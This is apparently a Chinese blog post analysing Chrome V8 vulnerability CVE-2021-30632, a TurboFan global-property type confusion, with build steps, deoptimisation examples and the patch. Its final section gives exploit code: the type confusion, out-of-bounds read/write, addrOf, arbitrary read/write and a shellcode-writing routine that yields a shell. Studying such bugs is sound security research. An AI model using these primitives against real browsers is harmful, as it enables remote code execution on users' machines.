chrome v8漏洞CVE-2021-30632浅析
作者:coolboy
前言
V8 是 Google开源的高性能 JavaScript 引擎,用于 Google Chrome 等浏览器。2021 年,V8 引擎曝出漏洞 CVE-2021-30632。漏洞产生的原因是turbofan引擎优化bug导致类型混淆,可以实现远程代码执行。
这个漏洞已经有文章分析的非常详尽了(见:链接),但阅读过程中难免还有些疑问,综合网上查询到的各种资料,弄懂以后,豁然开朗;才疏学浅,也有许多不准确和遗漏的地方。高山流水觅知音,希望可以跟同行学习交流。
背景
编译
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | # 国内的网络编译会失败,挂VPN也遇到了各种问题。# 推荐腾讯云上购买新加坡服务器2core 2G 39元一个月,编译一路丝滑。git clone https://chromium.googlesource.com/chromium/tools/depot\_tools.gitexport PATH=/path/to/depot\_tools:$PATHmkdir \~/v8cd \~/v8fetch v8cd v8# 漏洞补丁前一笔提交git checkout 632e6e71c5fgclient syncalias gm=/path/to/v8/tools/dev/gm.pygm x64.releasegm x64.debug# test./out/x64.release/d8 --help |
调试
1 2 3 4 | # 引入v8 gdb 调试支持,可以在gdb中使用job等命令查看v8对象cp ./tools/gdbinit \~/.gdbinitgdb ./out/x64.release/d8 |
JS对象在v8中的内部表示
v8中的JS对象总体分为两类:properties(也叫 named properties);elements (也叫indexed properties)。表示如下:

hiddenClass也称为map,它决定了JS对象是properties或者elements,见下图:

写段测试代码来实际看看:
1 2 3 4 5 6 7 | // this file is test.js// 执行:./out/x64.release/d8 --allow-natives-syntax ./test.js// 其中的--allow-natives-syntax 参数作用是让%DebugPrint内置函数生效,它的作用是打印对象的map等调试信息obj1 = {a: "foo", b: "bar"};obj2 = ["foo", "bar"];%DebugPrint(obj1);%DebugPrint(obj2); |
用d8执行上述文件得到结果:

由上图可以看见,{a: "foo", b: "bar"} 通过map (hiddenClass)被标记为JS_OBJECT_TYPE,有两个属性a和b,值分别为"foo"和"bar"。

由上图可以看见,["foo", "bar"]通过map被标记为JS_ARRAY_TYPE,是一个长度为2的固定数组,元素依次为"foo"和"bar"。
map的迁移

当JS对象增加或者减少属性的时候,v8的map将创建新的map,新旧map之间产生迁移关系。上述代码以此产生map0-map3 共计4个map。map0迁移至map1,map1迁移至map2,依次类推。
最终的map3不再迁移到其他map,它有一个属性取值为stable,map0-map2为not stable。
迁移也可以分叉,如下图,共产生map0到map5共计6个map。其中map3,map5为stable,其他为not stable。

具有相同"形状"的js对象,它们共享一个map。对象a,b,c的map为同一个,均为stable。
1 2 3 | var a = {a: "111", b:"111" };var b = {a: "222", b:"222" };var c = {a: "333", b:"333" }; |
示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | // this file is test.js// 执行:./out/x64.release/d8 --allow-natives-syntax ./test.jsa = {x:'a'};b = {x:'b'};c = {x:'c'};a.y = 'a';console.log('a=====================');%DebugPrint(a);console.log('b=====================');%DebugPrint(b);console.log('c=====================');%DebugPrint(c); |
结果见下图:

Ignition 和 TurboFan
Ignition, 是v8的解释器, 而 TurboFan 是v8最新的优化编译器。它们的关系如下图:

JS源码经过 Parser(词法分析、语法分析) ,送入Ignition,生成字节码执行;字节码的优点是编译快,缺点是执行慢,适用于执行次数少的代码。
执行多次的字节码被标记为热点代码,将触发优化,此时由TurboFan将字节码优化编译;过往执行中记录的数据将参与优化过程,并预测将来的的执行也将是这样。这样做得优点是,执行快,编译会消耗大量的时间,适用于循环等多次执行的函数。在执行时,跟预测不符,将触发解优化(deoptimize)。
举例说明:
1 2 3 4 5 6 7 8 9 10 11 12 13 | function store(y) {x = y;}var x = 0;var y = 1;var z = 2;for (let i = 0; i < 200000; i++) store(y);store(y);store(z);// ./out/x64.release/d8 --trace-opt --trace-deopt this.js |
执行上述js,将看到下面输出:
1 2 3 4 | [marking 0x23f60815326d \<JSFunction (sfi = 0x23f6081530a1)> for optimized recompilation, reason: hot and stable][compiling method 0x23f60815326d \<JSFunction (sfi = 0x23f6081530a1)> (target TURBOFAN) using TurboFan OSR][optimizing 0x23f60815326d \<JSFunction (sfi = 0x23f6081530a1)> (target TURBOFAN) - took 0.201, 0.631, 0.033 ms][bailout (kind: deopt-soft, reason: Insufficient type feedback for call): begin. deoptimizing 0x23f60815326d \<JSFunction (sfi = 0x23f6081530a1)>, opt id 0, bytecode offset 68, deopt exit 3, FP to SP delta 88, caller SP 0x7fff2bce2978, pc 0x23f600044202] |
在代码的第8行某一次循环之后,被认定为热点函数,于是store函数被优化。这之后的store(y)都将不再执行igition产生的bytecode,而是执行TurboFan优化编译之后的代码。
在第11行store(z),由于z和y的值不同,store(z)将无法继续使用参照store(y)优化之后的代码给x赋值1,于是触发了解优化,退化为bytecode执行,给x赋值2。
TurboFan对全局变量访问的优化分析
我们查看漏洞补丁,补丁发生在JSNativeContextSpecialization::ReduceGlobalAccess
函数,这个函数的作用是TurboFan对全局变量存取的优化。

补丁的807行有一个条件判断是否为PropertyCellType::kConstantType。先来了解下kConstantType。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | enum class PropertyCellType { kMutable, // Cell will no longer be tracked as constant. kUndefined, // The PREMONOMORPHIC of property cells. kConstant, // Cell has been assigned only once. kConstantType, // Cell has been assigned only one type. // Value for dictionaries not holding cells, must be 0: kNoCell = kMutable,};/*PropertyCellType 定义了JS的类型,下面举例说明。*/var x = {a : 1}; //Constant,x第一次赋值x = {a :2}; //ConstantType,x被赋值为相同类型x.b = 2; //ConstantType,x没有被赋值,仅修改它的属性,因此不改变类型x = 2; //kMutable,x被赋值为int,而非object,因此为kMutable |
PropertyCellType跟踪了对象的JS类型,比如JSObject, int, array, String等等,区别于Map描述了对象的"形状"。
我们看一下给全局变量赋值(AccessMode::kStore)优化相关的代码,保留关键部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | Reduction JSNativeContextSpecialization::ReduceGlobalAccess() { ... DCHECK_EQ(AccessMode::kStore, access_mode); // 3 switch (property_details.cell_type()) { // 4 ... case PropertyCellType::kConstantType: { // 6 dependencies()->DependOnGlobalProperty(property_cell); // 7 ... if (property_cell_value_map.is_stable()) { dependencies()->DependOnStableMap(property_cell_value_map); // 10 } effect = graph()->NewNode( simplified()->CheckMaps( // 13 CheckMapsFlag::kNone, ZoneHandleSet(property_cell_value_map.object())), value, effect, control); ...} |
第3行,表示当前代码块是对全局变量赋值的分支
第4行,判断全局变量的PropertyCellType
第6行,当类型为PropertyCellType::kConstantType
第7行,表示当前的优化依赖于属性的类型,如果属性类型发生了变化,那么将解优化。
第10行,表示如果属性的Map是stable,那么stable属性发生变化之后,那么将解优化。
第13行,表示store操作Map必须和前面保持一致,调用store时Map变化了,那么将解优化。
第7,10,13 行枚举出了三种解优化的情况:
- 全局变量属性的类型发生变化
- 全局变量Map由stable变为not stable
- 传入store参数的Map和前面不一致
举例说明这三种情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | // 全局变量属性的类型发生变化x = {value:"x"};y = {value:"y"};z = [1,2,3]function store(y) { x = y;}// PrepareFunctionForOptimization OptimizeFunctionOnNextCall内置函数实现优化%PrepareFunctionForOptimization(store);store(y);%OptimizeFunctionOnNextCall(store);store(y);store(y);// property\_cell 类型发生变化,JS类型从object变成了array,因此解优化x = z;// ./out/x64.release/d8 --trace-opt --trace-deopt --allow-natives-syntax this.js// 得到下面输出:// [marking dependent code 0x2c3f00044001 (0x2c3f08153141 ) (opt id 0) for deoptimization, reason: prototype-check] |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | // 全局变量Map由stable变为not stablex = {value:"x"};y = {value:"y"};function store(y) { x = y;}%PrepareFunctionForOptimization(store);store(y);%OptimizeFunctionOnNextCall(store);store(y);store(y);// x 和 y 有相同MapA, stable// y执行下面代码以后,拥有MapB, stable。x变为MapA not stale。因此解优化。y.new\_value = "y";// ./out/x64.release/d8 --trace-opt --trace-deopt --allow-natives-syntax this.js// 得到下面输出// [marking dependent code 0x3c5600044001 (0x3c5608153141 ) (opt id 0) for deoptimization, reason: prototype-check] |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | // 传入store参数的Map和前面不一致x = {value:"x"};y = {value:"y"};z = {value1:"z", value2:"z"};function store(y) { x = y;}%PrepareFunctionForOptimization(store);store(y);%OptimizeFunctionOnNextCall(store);store(y);store(y);store(z); // z的Map和x的Map不一致// ./out/x64.release/d8 --trace-opt --trace-deopt --allow-natives-syntax this.js// 得到下面输出// [bailout (kind: deopt-eager, reason: wrong map): begin. deoptimizing 0x0f6a08153375 \<JSFunction store (sfi = 0xf6a08153161)>, opt id 0, bytecode offset 2, deopt exit 1, FP to SP delta 32, caller SP 0x7ffd634e5b40, pc 0x0f6a00044145] |
说完全局变量的store,再来说说load。关键代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | Reduction JSNativeContextSpecialization::ReduceGlobalAccess(){ ... if (access_mode == AccessMode::kLoad || access_mode == AccessMode::kHas) { // 4 ... if (property_details.cell_type() == PropertyCellType::kConstantType) { // 6 ... if (property_cell_value_map.is_stable()) { // 8 dependencies()->DependOnStableMap(property_cell_value_map); map = property_cell_value_map.object(); } ... } ... } ...} |
第4行,表示对全局变量的load处理
第6行,表示全局变量为kConstantType类型
第8行,表示当全局变量的Map为stable时,不能修改它的Map,否则解优化。
总结load 全局变量,当优化时刻MapA为Stable,后面修改MapA为MapB。
也举例说明下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | // 优化时刻MapA为Stable,后面修改MapA为MapBx = {value:"x"};y = {value:"y"}; // x,y MapA stablefunction load() { return x['value']}//y.new\_value = '11'; // line 10%PrepareFunctionForOptimization(load);load();%OptimizeFunctionOnNextCall(load);load(); // 优化时x为MapA stableload();x.new_value = '11'; // x 变为MapB,解优化 line 20// // ./out/x64.release/d8 --trace-opt --trace-deopt --allow-natives-syntax this.js// 得到下面输出// [marking dependent code 0x1e2900044001 (0x1e2908153151 ) (opt id 0) for deoptimization, reason: prototype-check] |
值得一提的是,如果插入第10行代码,那么在优化时,x为MapA not stable,第20行改变X的MapA为MapB,将不满足解优化条件:“优化时刻MapA为Stable,后面修改MapA为MapB”。
综上:全局变量store和load解优化条件:
store:
- 全局变量属性的类型发生变化
- 全局变量Map由stable变为not stable
- 传入store参数的Map和前面不一致
load:
- 优化时刻MapA为Stable,后面修改MapA为MapB
类型混淆如何产生
乍一看,上述解优化逻辑没有问题,然而百密一疏。竟然可以通过既有规则,构造出类型混淆!且看示例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | function store(y) { x = y;}function load() {return x.b;}var x = {a : 1};var x1 = {a : 2};var x2 = {a : 3};var x3 = {a : 4}; // all has mapA, stable%PrepareFunctionForOptimization(store);store(x2);x1.b = 1; // x1 has mapB, stable // x x2 x3 has mapA, not stable%OptimizeFunctionOnNextCall(store);store(x2); // optimizatiin,x has MapA in store// x此时为 mapA, not stable。执行x.b=3。将变为MapB,stable// 无法命中store解优化的个条件,因此store不会解优化/*1. 全局变量属性的类型发生变化2. 全局变量Map由stable变为not stable3. 传入store参数的Map和前面不一致不命中:4. 回顾前面,需要通过"="赋值才会触发PropertyCellType类型修改。不命中。5. 由not stable变为stable并非stable变为not stable。不命中。6. 并非调用优化函数,而是对x的属性做修改,不命中。*/x.b = 3; // x MapB stable%PrepareFunctionForOptimization(load);load(); // x has mapB%OptimizeFunctionOnNextCall(load);load(); // x has mapB in load/*用jit打败jit的精髓之处就在这里了。 :)此时x为 MapB stable,x3为MapA not stable。回顾上面解优化条件:store:1. 全局变量属性的类型发生变化。不命中。2. 全局变量Map由stable变为not stable。命中。3. 传入store参数的Map和前面不一致。x3 x2均为MapA,不命中。load:4. 优化时刻MapA为Stable,后面修改MapA为MapB。命中。总结起来看,store(x3)命中store解优化条件2和load解优化条件1。那么第51行代码应该触发store和load解优化。然而实际情况是没有发生任何解优化,x3按照优化代码的逻辑赋值给了x,x变为MapA not stable.为什么没有解优化呢?原因是所有的解优化条件对于已经优化的代码store是不生效的,只对没有编译的bytecode生效。用jit打败jit,用魔法打败魔法。 :)*/store(x3);// x 此时真实为MapA, not stable。而load优化的代码中,x为MapB stable,类型混淆,执行56行将导致crash。%DebugPrint(load()); |
基于上面的分析,我们打印load,store的汇编验证一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 | function store(y) { x = y;}function load() { return x.b;}var x = {a : 1};var x1 = {a : 2};var x2 = {a : 3};var x3 = {a : 4};%PrepareFunctionForOptimization(store);store(x2);x1.b = 1;%OptimizeFunctionOnNextCall(store);store(x2);x.b = 3;%PrepareFunctionForOptimization(load);load();%OptimizeFunctionOnNextCall(load);load();store(x3);console.log("x=================");%DebugPrint(x);console.log("x1=================");%DebugPrint(x1);console.log("x3=================");%DebugPrint(x3);%DebugPrint(load());// ./out/x64.release/d8 --print-opt-code --trace-opt --trace-deopt --allow-natives-syntax this.js/*x 和 x3为相同的MapA not stable,如下:DebugPrint: 0x183008049a71: [JS_OBJECT_TYPE] - map: 0x183008187961 <Map(HOLEY_ELEMENTS)> [FastProperties] ... }0x183008187961: [Map] - type: JS_OBJECT_TYPE ... x1为MapB stable,如下: DebugPrint: 0x183008049a51: [JS_OBJECT_TYPE] - map: 0x183008187989 <Map(HOLEY_ELEMENTS)> [FastProperties] ... }0x183008187989: [Map] - type: JS_OBJECT_TYPE - stable_map MapA 的地址为0x183008187961 MapB 的地址为0x183008187989,结合前面的分析,x在store中的优化代码中预设为MapA,在load中预设为MapB。查看它们对应的汇编,符合预期。 store: ... REX.W movq rcx,0x1830081535f5 ;; object: 0x1830081535f5 <PropertyCell name=0x183008153061 <String[1]: #x> value=0x183008049a61 <Object map = 0x183008187961>> ... load: ... REX.W movq rdx,0x1830081535f5 ;; object: 0x1830081535f5 <PropertyCell name=0x183008153061 <String[1]: #x> value=0x183008049a61 <Object map = 0x183008187989>> ...*/ |
补丁如何修复漏洞
回顾补丁,

加上补丁以后,有两处变化:
1.全局变量必须是stable才会进行优化。
2.store优化后,如果map变为not stable,将解优化。
这个变化将导致 store的优化失败,因为store优化时x为 not stable,不满足条件1,由此漏洞修复。
利用混淆实现RCE
类型混淆
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | function foo(y) { x = y;}function oobRead() { //b[0] and addrOf writeArr::elements return [x[20],x[24]];}function oobWrite(addr) { x[24] = addr;}var arr0 = new Array(10); arr0.fill(1);arr0.a = 1;var arr1 = new Array(10); arr1.fill(2);arr1.a = 1;var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;var x = arr0;var arr = new Array(30); arr.fill(4); arr.a = 1;var b = new Array(1); b.fill(1);var writeArr = [1.1];%PrepareFunctionForOptimization(foo);foo(arr1);arr2[0] = 1.1;%OptimizeFunctionOnNextCall(foo);foo(arr1);x[0] = 1.1;%PrepareFunctionForOptimization(oobRead);oobRead();%OptimizeFunctionOnNextCall(oobRead);oobRead();%PrepareFunctionForOptimization(oobWrite);oobWrite(1.1);%OptimizeFunctionOnNextCall(oobWrite);oobWrite(1.1);foo(arr); |
通过上述代码实现x的类型混淆,实际为 int arr[30]; 在oobWrite和oobRead中被优化为double arr[30],不再赘述分析。
通过调用oobWrite, oobRead可以实现越界读写。
堆风水
连续申明的js对象,在v8分配内存时,也具有连续性。
1 2 3 | var arr = new Array(30); arr.fill(4); arr.a = 1;var b = new Array(1); b.fill(1);var writeArr = [1.1]; |
申明的arr, b, writeArr三个对象,它们的内存也是连续的。对arr进行越界读写,会访问到b和writeArr对象的数据结构。
获取对象地址
((double*)arr)[20] 对应b[0] 里面存放的值。下面的代码可以获取对象的地址。
1 2 3 4 5 6 7 8 9 10 11 12 | b[0] = obj; // b[0]中存放了obj的地址function oobRead() { return [x[20],x[24]];}// x[20] 可以获取对象的地址function addrOf(obj) { b[0] = obj; let addrs = oobRead(); dblArr[0] = addrs[0]; return intView[1]; }var instanceAddr = addrOf(instance); |
任意地址读
((double*)arr)[24] 对应writeArr 对象的数组指针,修改数组指针,就可以实现任意地址读。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | function oobWrite(addr) { x[24] = addr;}function oobRead() { return [x[20],x[24]];}var addrs = oobRead();function arbRead(addr) { [elements, addr1] = ftoi32(addrs[1]);// addrs[1] :x[24] // 修改writeArr数组指针低32位,指向addr代表的任意地址 oobWrite(i32tof(addr,addr1)); // 读addr指向的内存 return writeArr[0];} |
任意地址写
下面代码可以实现任意地址写:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | function writeShellCode(rwxAddr, shellArr) { var intArr = new Uint8Array(400); // 获取intArr对象地址intArrAddr var intArrAddr = addrOf(intArr); //var intBackingStore = ftoi(arbRead(intArrAddr + 0x20)); // intArrAddr + 0x20 为Uint8Array数组指针所在的地址 [elements, addr1] = ftoi32(addrs[1]); oobWrite(i32tof(intArrAddr + 0x20, addr1)); // 修改Uint8Array数组指针为rwxAddr writeArr[0] = rwxAddr; for (let i = 0; i < shellArr.length; i++) { // 往rwxAddr地址处写shellArr intArr[i] = shellArr[i]; }} |
完整d8 POC
./out/x64.release/d8 --allow-natives-syntax this.js 将会得到/bin/sh

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参考
漏洞分析:Chrome in-the-wild bug analysis: CVE-2021-30632
属性访问:https://v8.dev/blog/fast-properties
v8文档:https://v8.dev/